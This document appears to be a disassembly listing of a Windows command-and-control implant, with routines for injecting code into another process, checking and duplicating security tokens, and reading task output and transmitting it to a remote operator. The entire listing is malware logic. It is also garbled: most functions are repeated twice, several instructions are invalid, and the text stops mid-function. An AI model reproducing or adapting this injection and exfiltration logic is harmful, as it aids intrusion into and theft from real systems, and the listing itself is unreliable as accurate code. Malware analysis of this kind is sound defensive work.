1400160b4lea r9, [rip+0x149c8]
1400160bbmov r8l, 69
1400160c1jne 0x1400160e7
1400160c3jmp 0x140016100
1400160c5
1400160c5loc_1400160c5:
1400160c5mov rcx, rbx
1400160c8call ProcessIsWow
1400160cdcmp [rbp+88], 9
1400160d2jne 0x140016120
1400160d4test eax, eax
1400160d6jne 0x140016120
1400160d8lea r9, [rip+0x149ea]
1400160dfmov r8l, 81
1400160e5jmp 0x140016100
1400160e7
1400160e7loc_1400160e7:
1400160e7mov rcx, rbx
1400160eacall ProcessIsWow
1400160eftest eax, eax
1400160f1je 0x140016120
1400160f3lea r9, [rip+0x149ac]
1400160famov r8l, 77
140016100
140016100loc_140016100:
140016100lea rdx, [rip+0x16c89]
140016107mov rcx, r15
14001610axor esi, esi
14001610cxor edi, edi
14001610ecall printf
140016113xor r12l, r12l
140016116mov ebp, 3
14001611bjmp 0x140016362
140016120
140016120loc_140016120:
140016120mov r8, [rsp+184]
140016128mov r9l, 4
14001612emov rdx, rbx
140016131xor ecx, ecx
140016133call MemoryAlloc
140016138lea r9, [rip+0x149ad]
14001613fmov r8l, 88
140016145mov rdi, rax
140016148test rax, rax
14001614bje 0x1400161eb
140016151mov r9, rax
140016154mov r8l, 91
14001615alea rdx, [rip+0x16c2f]
140016161lea rcx, [rip+0x149b8]
140016168call printf
14001616dmov r9, [rsp+184]
140016175mov rdx, rdi
140016178mov rcx, rbx
14001617bmov r8, [rsp+176]
140016183call MemoryWrite
140016188lea r9, [rip+0x149d6]
14001618fmov r8l, 96
140016195test eax, eax
140016197je 0x1400161eb
140016199mov r9, [rsp+184]
1400161a1mov r8l, 99
1400161a7lea rdx, [rip+0x16be2]
1400161aelea rcx, [rip+0x149e5]
1400161b5call printf
1400161bamov r8, rdi
1400161bdmov rdx, rbx
1400161c0mov ecx, 2
1400161c5mov [rsp+32], 32
1400161cdmov r9, [rsp+184]
1400161d5call MemoryProtect
1400161datest eax, eax
1400161dcjne 0x140016204
1400161delea r9, [rip+0x149fd]
1400161e5mov r8l, 104
1400161eb
1400161ebloc_1400161eb:
1400161eblea rdx, [rip+0x16b9e]
1400161f2mov rcx, r15
1400161f5xor esi, esi
1400161f7call printf
1400161fc
1400161fcloc_1400161fc:
1400161fcxor r12l, r12l
1400161ffjmp 0x14001635d
140016204
140016204loc_140016204:
140016204lea r9, [rip+0x14a03]
14001620bmov r8l, 107
140016211lea rdx, [rip+0x16b78]
140016218mov rcx, r15
14001621bcall printf
140016220cmp [rsp+200], 0
140016229je 0x1400162ea
14001622fcmp [rsp+208], 0
140016238je 0x1400162ea
14001623emov r8, [rsp+208]
140016246mov r9l, 4
14001624cmov rdx, rbx
14001624fxor ecx, ecx
140016251call MemoryAlloc
140016256lea r9, [rip+0x149e2]
14001625dmov r8l, 115
140016263mov rsi, rax
140016266test rax, rax
140016269je 0x1400161eb
14001626bmov r9, rax
14001626emov r8l, 118
140016274lea rdx, [rip+0x16b15]
14001627blea rcx, [rip+0x149fa]
140016282call printf
140016287mov r9, [rsp+208]
14001628fmov rdx, rsi
140016292mov rcx, rbx
140016295mov r8, [rsp+200]
14001629dcall MemoryWrite
1400162a2test eax, eax
1400162a4jne 0x1400162c7
1400162a6lea r9, [rip+0x14a1d]
1400162admov r8l, 123
1400162b3lea rdx, [rip+0x16ad6]
1400162bamov rcx, r15
1400162bdcall printf
1400162c2jmp 0x1400161fc
1400162c7
1400162c7loc_1400162c7:
1400162c7mov r9, [rsp+208]
1400162cfmov r8l, 126
1400162d5lea rdx, [rip+0x16ab4]
1400162dclea rcx, [rip+0x14a1d]
1400162e3call printf
1400162e8jmp 0x1400162ec
1400162ea
1400162ealoc_1400162ea:
1400162eaxor esi, esi
1400162ec
1400162ecloc_1400162ec:
1400162eclea rax, [rsp+60]
1400162f1mov [rsp+32], rsi
1400162f6mov r8l, r12l
1400162f9mov rdx, rbx
1400162fcmov [rsp+40], rax
140016301mov rax, [rsp+192]
140016309movzx ecx, r14b
14001630dlea r9, [rdi+rax]
140016311call ThreadCreate
140016316lea rdx, [rip+0x16a73]
14001631dtest rax, rax
140016320mov r12, rax
140016323je 0x140016340
140016325mov r9l, [rsp+60]
14001632amov r8l, 133
140016330lea rcx, [rip+0x14a12]
140016337xor ebp, ebp
140016339call printf
14001633ejmp 0x140016362
140016340
140016340loc_140016340:
140016340mov rax, [rbp+2230]
140016347mov r8l, 135
14001634dlea rcx, [rip+0x14a47]
140016354mov r9l, [rax+104]
140016358call printf
14001635d
14001635dloc_14001635d:
14001635dmov ebp, 1
140016362
140016362loc_140016362:
140016362lea r9, [rip+0x14a6e]
140016369mov r8l, 139
14001636flea rdx, [rip+0x16a1a]
140016376lea rcx, [rip+0x14715]
14001637dcall printf
140016382cmp ebp, 1
140016385jne 0x1400163a7
140016387test rdi, rdi
14001638aje 0x140016397
14001638cmov rdx, rdi
14001638fmov rcx, rbx
140016392call MemoryFree
140016397
140016397loc_140016397:
140016397test rsi, rsi
14001639aje 0x1400163a7
14001639cmov rdx, rsi
14001639fmov rcx, rbx
1400163a2call MemoryFree
1400163a7
1400163a7loc_1400163a7:
1400163a7test rbx, rbx
1400163aaje 0x1400163b9
1400163actest r13b, r13b
1400163afje 0x1400163b9
1400163b1mov rcx, rbx
1400163b4call SysNtClose
1400163b9
1400163b9loc_1400163b9:
1400163b9test r12, r12
1400163bcje 0x1400163c6
1400163bemov rcx, r12
1400163c1call SysNtClose
1400163c6
1400163c6loc_1400163c6:
1400163c6add rsp, 72
1400163camov eax, ebp
1400163ccpop rbx
1400163cdpop rsi
1400163cepop rdi
1400163cfpop rbp
1400163d0pop r12
1400163d2pop r13
1400163d4pop r14
1400163d6pop r15
1400163d8ret
140015fc0
1400163d9
1400163d9 // align 0x10
1400163d9 // align 0x10
1400163e5
1400163e5 // align 0x10
1400163e5 // align 0x10
1400163f7
1400163f7 // align 0x10
1400163f7 // align 0x10
140016400
140016400IsHighIntegrity:
140016400push rbx
140016401xor r8l, r8l
140016404xor edx, edx
140016406xor ecx, ecx
140016408mov r9l, 544
14001640eadd rsp, -128
140016412mov rbx, [rip+0x15f57]
140016419lea rax, [rsp+120]
14001641emov [rsp+114], edx
140016422mov edx, 2
140016427mov [rsp+120], rcx
14001642clea rcx, [rsp+114]
140016431mov [rsp+72], r8l
140016436mov [rsp+64], r8l
14001643bmov [rsp+56], r8l
140016440mov [rsp+48], r8l
140016445mov [rsp+40], r8l
14001644amov [rsp+32], r8l
14001644fmov r8l, 32
140016455mov [rsp+108], 1
14001645dmov [rsp+118], 1280
140016464mov [rsp+80], rax
140016469call [rbx+1428]
14001646ftest eax, eax
140016471je 0x1400164a4
140016473xor ecx, ecx
140016475mov rdx, [rsp+120]
14001647alea r8, [rsp+108]
14001647fcall [rbx+1436]
140016485test eax, eax
140016487jne 0x14001648f
140016489xor eax, eax
14001648bmov [rsp+108], eax
14001648f
14001648floc_14001648f:
14001648fmov rcx, [rsp+120]
140016494call [rbx+1380]
14001649axor eax, eax
14001649ccmp [rsp+108], 0
1400164a1setne al
1400164a4
1400164a4loc_1400164a4:
1400164a4sub rsp, -128
1400164a8pop rbx
1400164a9ret
140016400
140016400IsHighIntegrity:
140016400push rbx
140016401xor r8l, r8l
140016404xor edx, edx
140016406xor ecx, ecx
140016408mov r9l, 544
14001640eadd rsp, -128
140016412mov rbx, [rip+0x15f57]
140016419lea rax, [rsp+120]
14001641emov [rsp+114], edx
140016422mov edx, 2
140016427mov [rsp+120], rcx
14001642clea rcx, [rsp+114]
140016431mov [rsp+72], r8l
140016436mov [rsp+64], r8l
14001643bmov [rsp+56], r8l
140016440mov [rsp+48], r8l
140016445mov [rsp+40], r8l
14001644amov [rsp+32], r8l
14001644fmov r8l, 32
140016455mov [rsp+108], 1
14001645dmov [rsp+118], 1280
140016464mov [rsp+80], rax
140016469call [rbx+1428]
14001646ftest eax, eax
140016471je 0x1400164a4
140016473xor ecx, ecx
140016475mov rdx, [rsp+120]
14001647alea r8, [rsp+108]
14001647fcall [rbx+1436]
140016485test eax, eax
140016487jne 0x14001648f
140016489xor eax, eax
14001648bmov [rsp+108], eax
14001648f
14001648floc_14001648f:
14001648fmov rcx, [rsp+120]
140016494call [rbx+1380]
14001649axor eax, eax
14001649ccmp [rsp+108], 0
1400164a1setne al
1400164a4
1400164a4loc_1400164a4:
1400164a4sub rsp, -128
1400164a8pop rbx
1400164a9ret
140016400
1400164aa
1400164aa // align 0x10
1400164aa // align 0x10
1400164b0
1400164b0IsImpersonationToken:
1400164b0push rbp
1400164b1xor eax, eax
1400164b3xor edx, edx
1400164b5push rdi
1400164b6mov rdi, rcx
1400164b9mov ecx, 64
1400164bepush rsi
1400164bfxor esi, esi
1400164c1push rbx
1400164c2sub rsp, 72
1400164c6mov rbp, [rip+0x15ea3]
1400164cdmov [rsp+52], edx
1400164d1mov edx, 4096
1400164d6mov [rsp+56], rax
1400164dbcall [rbp+932]
1400164e1test rax, rax
1400164e4je 0x140016551
1400164e6mov rbx, rax
1400164e9lea rax, [rsp+52]
1400164eemov edx, 9
1400164f3mov rcx, rdi
1400164f6mov [rsp+32], rax
1400164fbmov r9l, 4096
140016501mov r8, rbx
140016504call [rbp+1340]
14001650atest eax, eax
14001650cje 0x140016519
14001650exor esi, esi
140016510cmp [rbx], 1
140016513seta sil
140016517jmp 0x140016548
140016519
140016519loc_140016519:
140016519lea rax, [rsp+56]
14001651emov rcx, rdi
140016521mov edx, 0xf01ff
140016526mov r9l, 2
14001652cmov [rsp+32], rax
140016531mov r8l, 2
140016537call TokenDuplicate
14001653cmov rcx, [rsp+56]
140016541mov esi, eax
140016543call SysNtClose
140016548
140016548loc_140016548:
140016548mov rcx, rbx
14001654bcall [rbp+940]
140016551
140016551loc_140016551:
140016551add rsp, 72
140016555mov eax, esi
140016557pop rbx
140016558pop rsi
140016559pop rdi
14001655apop rbp
14001655bret
1400164b0
1400164b0IsImpersonationToken:
1400164b0push rbp
1400164b1xor eax, eax
1400164b3xor edx, edx
1400164b5push rdi
1400164b6mov rdi, rcx
1400164b9mov ecx, 64
1400164bepush rsi
1400164bfxor esi, esi
1400164c1push rbx
1400164c2sub rsp, 72
1400164c6mov rbp, [rip+0x15ea3]
1400164cdmov [rsp+52], edx
1400164d1mov edx, 4096
1400164d6mov [rsp+56], rax
1400164dbcall [rbp+932]
1400164e1test rax, rax
1400164e4je 0x140016551
1400164e6mov rbx, rax
1400164e9lea rax, [rsp+52]
1400164eemov edx, 9
1400164f3mov rcx, rdi
1400164f6mov [rsp+32], rax
1400164fbmov r9l, 4096
140016501mov r8, rbx
140016504call [rbp+1340]
14001650atest eax, eax
14001650cje 0x140016519
14001650exor esi, esi
140016510cmp [rbx], 1
140016513seta sil
140016517jmp 0x140016548
140016519
140016519loc_140016519:
140016519lea rax, [rsp+56]
14001651emov rcx, rdi
140016521mov edx, 0xf01ff
140016526mov r9l, 2
14001652cmov [rsp+32], rax
140016531mov r8l, 2
140016537call TokenDuplicate
14001653cmov rcx, [rsp+56]
140016541mov esi, eax
140016543call SysNtClose
140016548
140016548loc_140016548:
140016548mov rcx, rbx
14001654bcall [rbp+940]
140016551
140016551loc_140016551:
140016551add rsp, 72
140016555mov eax, esi
140016557pop rbx
140016558pop rsi
140016559pop rdi
14001655apop rbp
14001655bret
1400164b0
14001655c
14001655c // align 0x10
14001655c // align 0x10
140016560
140016560IsNotCurrentUser:
140016560test ecx, ecx
140016562je 0x140016584
140016564mov rax, rdx
140016567sub rsp, 40
14001656bmov rdx, [r8]
14001656emov rcx, [rax]
140016571call StringCompareW
140016576xor edx, edx
140016578test eax, eax
14001657asetne dl
14001657dadd rsp, 40
140016581mov eax, edx
140016583ret
140016584
140016584loc_140016584:
140016584mov eax, 1
140016589ret
140016560
140016560IsNotCurrentUser:
140016560test ecx, ecx
140016562je 0x140016584
140016564mov rax, rdx
140016567sub rsp, 40
14001656bmov rdx, [r8]
14001656emov rcx, [rax]
140016571call StringCompareW
140016576xor edx, edx
140016578test eax, eax
14001657asetne dl
14001657dadd rsp, 40
140016581mov eax, edx
140016583ret
140016584
140016584loc_140016584:
140016584mov eax, 1
140016589ret
140016560
14001658a
14001658a // align 0x10
14001658a // align 0x10
140016590
140016590IsSystem:
140016590push rsi
140016591xor edx, edx
140016593xor ecx, ecx
140016595mov r9l, 84
14001659bpush rbx
14001659csub rsp, 216
1400165a3mov rsi, [rip+0x15dc6]
1400165aalea rax, [rsp+100]
1400165afmov [rsp+106], edx
1400165b3lea r8, [rsp+124]
1400165b8mov edx, 1
1400165bdmov [rsp+112], rcx
1400165c2xor ecx, ecx
1400165c4mov [rsp+110], 1280
1400165cbmov [rsp+32], rax
1400165d0call [rsi+1340]
1400165d6test eax, eax
1400165d8jne 0x1400165de
1400165da
1400165daloc_1400165da:
1400165daxor ebx, ebx
1400165dcjmp 0x14001663c
1400165de
1400165deloc_1400165de:
1400165delea rax, [rsp+112]
1400165e3xor r9l, r9l
1400165e6lea rcx, [rsp+106]
1400165ebmov r8l, 18
1400165f1mov [rsp+80], rax
1400165f6xor eax, eax
1400165f8mov edx, 1
1400165fdmov [rsp+72], eax
140016601mov [rsp+64], eax
140016605mov [rsp+56], eax
140016609mov [rsp+48], eax
14001660dmov [rsp+40], eax
140016611mov [rsp+32], eax
140016615call [rsi+1428]
14001661btest eax, eax
14001661dje 0x1400165da
14001661fmov rcx, [rsp+124]
140016624mov rdx, [rsp+112]
140016629call [rsi+1460]
14001662fmov rcx, [rsp+112]
140016634mov ebx, eax
140016636call [rsi+1380]
14001663c
14001663cloc_14001663c:
14001663cadd rsp, 216
140016643mov eax, ebx
140016645pop rbx
140016646pop rsi
140016647ret
140016590
140016590IsSystem:
140016590push rsi
140016591xor edx, edx
140016593xor ecx, ecx
140016595mov r9l, 84
14001659bpush rbx
14001659csub rsp, 216
1400165a3mov rsi, [rip+0x15dc6]
1400165aalea rax, [rsp+100]
1400165afmov [rsp+106], edx
1400165b3lea r8, [rsp+124]
1400165b8mov edx, 1
1400165bdmov [rsp+112], rcx
1400165c2xor ecx, ecx
1400165c4mov [rsp+110], 1280
1400165cbmov [rsp+32], rax
1400165d0call [rsi+1340]
1400165d6test eax, eax
1400165d8jne 0x1400165de
1400165da
1400165daloc_1400165da:
1400165daxor ebx, ebx
1400165dcjmp 0x14001663c
1400165de
1400165deloc_1400165de:
1400165delea rax, [rsp+112]
1400165e3xor r9l, r9l
1400165e6lea rcx, [rsp+106]
1400165ebmov r8l, 18
1400165f1mov [rsp+80], rax
1400165f6xor eax, eax
1400165f8mov edx, 1
1400165fdmov [rsp+72], eax
140016601mov [rsp+64], eax
140016605mov [rsp+56], eax
140016609mov [rsp+48], eax
14001660dmov [rsp+40], eax
140016611mov [rsp+32], eax
140016615call [rsi+1428]
14001661btest eax, eax
14001661dje 0x1400165da
14001661fmov rcx, [rsp+124]
140016624mov rdx, [rsp+112]
140016629call [rsi+1460]
14001662fmov rcx, [rsp+112]
140016634mov ebx, eax
140016636call [rsi+1380]
14001663c
14001663cloc_14001663c:
14001663cadd rsp, 216
140016643mov eax, ebx
140016645pop rbx
140016646pop rsi
140016647ret
140016590
140016648
140016648 // align 0x10
140016648 // align 0x10
140016650
140016650JobAdd:
140016650push r14
140016652movsx eax, r9w
140016656mov r14l, ecx
140016659lea rcx, [rip+0x11a90]
140016660push r13
140016662push r12
140016664push rbp
140016665push rdi
140016666mov edi, edx
140016668push rsi
140016669mov esi, r8l
14001666cpush rbx
14001666dmov ebx, r9l
140016670mov r9l, edx
140016673lea rdx, [rip+0x16b96]
14001667asub rsp, 64
14001667emov r13, [rsp+160]
140016686mov r12, [rsp+168]
14001668emov [rsp+40], eax
140016692movsx eax, r8w
140016696mov [rsp+32], eax
14001669amov r8l, 20
1400166a0mov [rsp+56], r12
1400166a5mov [rsp+48], r13
1400166aacall printf
1400166afmov edx, 40
1400166b4mov ecx, 64
1400166b9mov rbp, [rip+0x15cb0]
1400166c0call [rbp+932]
1400166c6xor edx, edx
1400166c8mov [rax+32], rdx
1400166ccmov rdx, [rbp+2302]
1400166d3mov [rax], r14l
1400166d6mov [rax+4], edi
1400166d9mov [rax+8], si
1400166ddmov [rax+10], bx
1400166e1mov [rax+16], r13
1400166e5mov [rax+24], r12
1400166e9test rdx, rdx
1400166ecjne 0x1400166f7
1400166eemov [rbp+2302], rax
1400166f5jmp 0x140016707
1400166f7
1400166f7loc_1400166f7:
1400166f7mov rcx, rdx
1400166famov rdx, [rdx+32]
1400166fetest rdx, rdx
140016701jne 0x1400166f7
140016703mov [rcx+32], rax
140016707
140016707loc_140016707:
140016707add rsp, 64
14001670bpop rbx
14001670cpop rsi
14001670dpop rdi
14001670epop rbp
14001670fpop r12
140016711pop r13
140016713pop r14
140016715ret
140016650
140016650JobAdd:
140016650push r14
140016652movsx eax, r9w
140016656mov r14l, ecx
140016659lea rcx, [rip+0x11a90]
140016660push r13
140016662push r12
140016664push rbp
140016665push rdi
140016666mov edi, edx
140016668push rsi
140016669mov esi, r8l
14001666cpush rbx
14001666dmov ebx, r9l
140016670mov r9l, edx
140016673lea rdx, [rip+0x16b96]
14001667asub rsp, 64
14001667emov r13, [rsp+160]
140016686mov r12, [rsp+168]
14001668emov [rsp+40], eax
140016692movsx eax, r8w
140016696mov [rsp+32], eax
14001669amov r8l, 20
1400166a0mov [rsp+56], r12
1400166a5mov [rsp+48], r13
1400166aacall printf
1400166afmov edx, 40
1400166b4mov ecx, 64
1400166b9mov rbp, [rip+0x15cb0]
1400166c0call [rbp+932]
1400166c6xor edx, edx
1400166c8mov [rax+32], rdx
1400166ccmov rdx, [rbp+2302]
1400166d3mov [rax], r14l
1400166d6mov [rax+4], edi
1400166d9mov [rax+8], si
1400166ddmov [rax+10], bx
1400166e1mov [rax+16], r13
1400166e5mov [rax+24], r12
1400166e9test rdx, rdx
1400166ecjne 0x1400166f7
1400166eemov [rbp+2302], rax
1400166f5jmp 0x140016707
1400166f7
1400166f7loc_1400166f7:
1400166f7mov rcx, rdx
1400166famov rdx, [rdx+32]
1400166fetest rdx, rdx
140016701jne 0x1400166f7
140016703mov [rcx+32], rax
140016707
140016707loc_140016707:
140016707add rsp, 64
14001670bpop rbx
14001670cpop rsi
14001670dpop rdi
14001670epop rbp
14001670fpop r12
140016711pop r13
140016713pop r14
140016715ret
140016650
140016716
140016716 // align 0x10
140016716 // align 0x10
140016720
140016720JobCheckList:
140016720push r12
140016722push rbp
140016723push rdi
140016724push rsi
140016725push rbx
140016726sub rsp, 64
14001672amov rsi, [rip+0x15c3f]
140016731mov rbx, [rsi+2302]
140016738
140016738loc_140016738:
140016738test rbx, rbx
14001673bje 0x14001698b
140016741mov eax, [rbx+8]
140016744cmp ax, 2
140016748je 0x14001675b
14001674acmp ax, 3
14001674eje 0x1400167b8
140016750dec ax
140016753jne 0x140016982
140016759jmp 0x14001677d
14001675b
14001675bloc_14001675b:
14001675bcmp [rbx+10], 1
140016760jne 0x140016982
140016766xor eax, eax
140016768mov rcx, [rbx+16]
14001676clea rdx, [rsp+60]
140016771mov [rsp+60], eax
140016775call [rsi+964]
14001677bjmp 0x14001679f
14001677d
14001677dloc_14001677d:
14001677dcmp [rbx+10], 1
140016782jne 0x140016982
140016788xor r12l, r12l
14001678bmov rcx, [rbx+16]
14001678flea rdx, [rsp+60]
140016794mov [rsp+60], r12l
140016799call [rsi+972]
14001679f
14001679floc_14001679f:
14001679fcmp [rsp+60], 259
1400167a7je 0x140016982
1400167admov [rbx+10], 3
1400167b3jmp 0x140016982
1400167b8
1400167b8loc_1400167b8:
1400167b8cmp [rbx+10], 1
1400167bdjne 0x140016982
1400167c3xor ebp, ebp
1400167c5mov rcx, [rbx+16]
1400167c9lea rdx, [rsp+56]
1400167cemov [rsp+56], ebp
1400167d2call [rsi+964]
1400167d8cmp [rsp+56], 259
1400167e0je 0x1400168b2
1400167e6lea r9, [rip+0x11a2d]
1400167edmov r8l, 113
1400167f3lea rdx, [rip+0x16936]
1400167falea rcx, [rip+0x11974]
140016801call printf
140016806mov [rbx+10], 3
14001680cmov rcx, [rbx+24]
140016810mov edx, [rbx]
140016812call AnonPipesRead
140016817mov edx, [rbx]
140016819mov ecx, 21
14001681ecall PackageCreateWithRequestID
140016823mov edx, 5
140016828mov rdi, rax
14001682bmov rcx, rax
14001682ecall PackageAddInt32
140016833mov rcx, rdi
140016836xor edi, edi
140016838call PackageTransmit
14001683dmov rcx, [rbx+16]
140016841call SysNtClose
140016846mov rax, [rbx+24]
14001684amov [rbx+16], rdi
14001684emov rcx, [rax+8]
140016852test rcx, rcx
140016855je 0x140016867
140016857call SysNtClose
14001685cmov rax, [rbx+24]
140016860xor r11l, r11l
140016863mov [rax+8], r11
140016867
140016867loc_140016867:
140016867mov rax, [rbx+24]
14001686bmov rcx, [rax]
14001686etest rcx, rcx
140016871je 0x140016882
140016873call SysNtClose
140016878mov rax, [rbx+24]
14001687cxor r10l, r10l
14001687fmov [rax], r10
140016882
140016882loc_140016882:
140016882mov rdi, [rbx+24]
140016886test rdi, rdi
140016889je 0x14001689e
14001688bmov ecx, 16
140016890xor eax, eax
140016892rep stosb [rdi], al
140016894mov rcx, [rbx+24]
140016898call [rsi+940]
14001689e
14001689eloc_14001689e:
14001689exor r9l, r9l
1400168a1mov ecx, [rbx+4]
1400168a4mov [rbx+24], r9
1400168a8call JobRemove
1400168adjmp 0x140016982
1400168b2
1400168b2loc_1400168b2:
1400168b2mov rax, [rbx+24]
1400168b6xor ecx, ecx
1400168b8xor r8l, r8l
1400168bblea rdi, [rsp+60]
1400168c0mov [rsp+40], r8
1400168c5xor r9l, r9l
1400168c8xor r8l, r8l
1400168cbxor edx, edx
1400168cdmov [rsp+60], ecx
1400168d1mov [rsp+32], rdi
1400168d6mov rcx, [rax]
1400168d9call [rsi+860]
1400168dftest eax, eax
1400168e1je 0x140016982
1400168e7mov r9l, [rsp+60]
1400168eclea rcx, [rip+0x11941]
1400168f3mov r8l, 151
1400168f9lea rdx, [rip+0x16830]
140016900call printf
140016905mov ecx, [rsp+60]
140016909test ecx, ecx
14001690bje 0x140016982
14001690dmov ebp, ecx
14001690fmov ecx, 64
140016914mov rdx, rbp
140016917call [rsi+932]
14001691dxor edx, edx
14001691fmov r8l, [rsp+60]
140016924mov r9, rdi
140016927mov r12, rax
14001692amov rax, [rbx+24]
14001692emov [rsp+32], rdx
140016933mov rdx, r12
140016936mov rcx, [rax]
140016939call [rsi+916]
14001693ftest eax, eax
140016941je 0x14001696a
140016943mov edx, [rbx]
140016945mov ecx, 90
14001694acall PackageCreateWithRequestID
14001694fmov r8l, [rsp+60]
140016954mov rdx, r12
140016957mov rdi, rax
14001695amov rcx, rax
14001695dcall PackageAddBytes
140016962mov rcx, rdi
140016965call PackageTransmit
14001696a
14001696aloc_14001696a:
14001696atest r12, r12
14001696dje 0x140016982
14001696fmov rdi, r12
140016972mov rcx, rbp
140016975xor eax, eax
140016977rep stosb [rdi], al
140016979mov rcx, r12
14001697ccall [rsi+940]
140016982
140016982loc_140016982:
140016982mov rbx, [rbx+32]
140016986jmp 0x140016738
14001698b
14001698bloc_14001698b:
14001698badd rsp, 64
14001698fpop rbx
140016990pop rsi
140016991pop rdi
140016992pop rbp
140016993pop r12
140016995ret
140016720
140016720JobCheckList:
140016720push r12
140016722push rbp
140016723push rdi
140016724push rsi
140016725push rbx
140016726sub rsp, 64
14001672amov rsi, [rip+0x15c3f]
140016731mov rbx, [rsi+2302]
140016738
140016738loc_140016738:
140016738test rbx, rbx
14001673bje 0x14001698b
140016741mov eax, [rbx+8]
140016744cmp ax, 2
140016748je 0x14001675b
14001674acmp ax, 3
14001674eje 0x1400167b8
140016750dec ax
140016753jne 0x140016982
140016759jmp 0x14001677d
14001675b
14001675bloc_14001675b:
14001675bcmp [rbx+10], 1
140016760jne 0x140016982
140016766xor eax, eax
140016768mov rcx, [rbx+16]
14001676clea rdx, [rsp+60]
140016771mov [rsp+60], eax
140016775call [rsi+964]
14001677bjmp 0x14001679f
14001677d
14001677dloc_14001677d:
14001677dcmp [rbx+10], 1
140016782jne 0x140016982
140016788xor r12l, r12l
14001678bmov rcx, [rbx+16]
14001678flea rdx, [rsp+60]
140016794mov [rsp+60], r12l
140016799call [rsi+972]
14001679f
14001679floc_14001679f:
14001679fcmp [rsp+60], 259
1400167a7je 0x140016982
1400167admov [rbx+10], 3
1400167b3jmp 0x140016982
1400167b8
1400167b8loc_1400167b8:
1400167b8cmp [rbx+10], 1
1400167bdjne 0x140016982
1400167c3xor ebp, ebp
1400167c5mov rcx, [rbx+16]
1400167c9lea rdx, [rsp+56]
1400167cemov [rsp+56], ebp
1400167d2call [rsi+964]
1400167d8cmp [rsp+56], 259
1400167e0je 0x1400168b2
1400167e6lea r9, [rip+0x11a2d]
1400167edmov r8l, 113
1400167f3lea rdx, [rip+0x16936]
1400167falea rcx, [rip+0x11974]
140016801call printf
140016806mov [rbx+10], 3
14001680cmov rcx, [rbx+24]
140016810mov edx, [rbx]
140016812call AnonPipesRead
140016817mov edx, [rbx]
140016819mov ecx, 21
14001681ecall PackageCreateWithRequestID
140016823mov edx, 5
140016828mov rdi, rax
14001682bmov rcx, rax
14001682ecall PackageAddInt32
140016833mov rcx, rdi
140016836xor edi, edi
140016838call PackageTransmit
14001683dmov rcx, [rbx+16]
140016841call SysNtClose
140016846mov rax, [rbx+24]
14001684amov [rbx+16], rdi
14001684emov rcx, [rax+8]
140016852test rcx, rcx
140016855je 0x140016867
140016857call SysNtClose
14001685cmov rax, [rbx+24]
140016860xor r11l, r11l
140016863mov [rax+8], r11
140016867
140016867loc_140016867:
140016867mov rax, [rbx+24]
14001686bmov rcx, [rax]
14001686etest rcx, rcx
140016871je 0x140016882
140016873call SysNtClose
140016878mov rax, [rbx+24]
14001687cxor r10l, r10l
14001687fmov [rax], r10
140016882
140016882loc_140016882:
140016882mov rdi, [rbx+24]
140016886test rdi, rdi
140016889je 0x14001689e
14001688bmov ecx, 16
140016890xor eax, eax
140016892rep stosb [rdi], al
140016894mov rcx, [rbx+24]
140016898call [rsi+940]
14001689e
14001689eloc_14001689e:
14001689exor r9l, r9l
1400168a1mov ecx, [rbx+4]
1400168a4mov [rbx+24], r9
1400168a8call JobRemove
1400168adjmp 0x140016982
1400168b2
1400168b2loc_1400168b2:
1400168b2mov rax, [rbx+24]
1400168b6xor ecx, ecx
1400168b8xor r8l, r8l
1400168bblea rdi, [rsp+60]
1400168c0mov [rsp+40], r8
1400168c5xor r9l, r9l
1400168c8xor r8l, r8l
1400168cbxor edx, edx
1400168cdmov [rsp+60], ecx
1400168d1mov [rsp+32], rdi
1400168d6mov rcx, [rax]
1400168d9call [rsi+860]
1400168dftest eax, eax
1400168e1je 0x140016982
1400168e7mov r9l, [rsp+60]
1400168eclea rcx, [rip+0x11941]
1400168f3mov r8l, 151
1400168f9lea rdx, [rip+0x16830]
140016900call printf
140016905mov ecx, [rsp+60]
140016909test ecx, ecx
14001690bje 0x140016982
14001690dmov ebp, ecx
14001690fmov ecx, 64
140016914mov rdx, rbp
140016917call [rsi+932]
14001691dxor edx, edx
14001691fmov r8l, [rsp+60]
140016924mov r9, rdi
140016927mov r12, rax
14001692amov rax, [rbx+24]
14001692emov [rsp+32], rdx
140016933mov rdx, r12
140016936mov rcx, [rax]
140016939call [rsi+916]
14001693ftest eax, eax
140016941je 0x14001696a
140016943mov edx, [rbx]
140016945mov ecx, 90
14001694acall PackageCreateWithRequestID
14001694fmov r8l, [rsp+60]
140016954mov rdx, r12
140016957mov rdi, rax
14001695amov rcx, rax
14001695dcall PackageAddBytes
140016962mov rcx, rdi
140016965call PackageTransmit
14001696a
14001696aloc_14001696a:
14001696atest r12, r12
14001696dje 0x140016982
14001696fmov rdi, r12
140016972mov rcx, rbp
140016975xor eax, eax
140016977rep stosb [rdi], al
140016979mov rcx, r12
14001697ccall [rsi+940]
140016982
140016982loc_140016982:
140016982mov rbx, [rbx+32]
140016986jmp 0x140016738
14001698b
14001698bloc_14001698b:
14001698badd rsp, 64
14001698fpop rbx
140016990pop rsi
140016991pop rdi
140016992pop rbp
140016993pop r12
140016995ret
140016720
140016996
140016996 // align 0x10
140016996 // align 0x10
1400169a0
1400169a0JobKill:
1400169a0push r15
1400169a2push r14
1400169a4lea r14, [rip+0x118c0]
1400169abpush r13
1400169admov r13l, ecx
1400169b0push r12
1400169b2lea r12, [rip+0x15e47]
1400169b9push rbp
1400169bapush rdi
1400169bbxor edi, edi
1400169bdpush rsi
1400169bepush rbx
1400169bfsub rsp, 72
1400169c3mov rsi, [rip+0x159a6]
1400169camov rbx, [rsi+2302]
1400169d1
1400169d1loc_1400169d1:
1400169d1test rbx, rbx
1400169d4je 0x140016bef
1400169dacmp [rbx+4], r13l
1400169dejne 0x140016be6
1400169e4mov r9l, r13l
1400169e7mov r8l, 288
1400169edmov rdx, r12
1400169f0mov rcx, r14
1400169f3call printf
1400169f8mov eax, [rbx+8]
1400169fbcmp ax, 2
1400169ffje 0x140016ae0
140016a05cmp ax, 3
140016a09je 0x140016af5
140016a0fdec ax
140016a12jne 0x140016aba
140016a18cmp [rbx+10], 3
140016a1dje 0x140016aba
140016a23lea rcx, [rip+0x1174b]
140016a2alea r9, [rip+0x1185c]
140016a31mov r8l, 296
140016a37mov rdx, r12
140016a3acall printf
140016a3fcmp [rbx+16], 0
140016a44lea rcx, [rip+0x1172a]
140016a4bje 0x140016ac4
140016a4dlea r9, [rip+0x11845]
140016a54mov r8l, 301
140016a5amov rdx, r12
140016a5dcall printf
140016a62mov rcx, [rbx+16]
140016a66xor edx, edx
140016a68call [rsi+684]
140016a6emov ebp, eax
140016a70test eax, eax
140016a72jns 0x140016ab4
140016a74mov rdx, r12
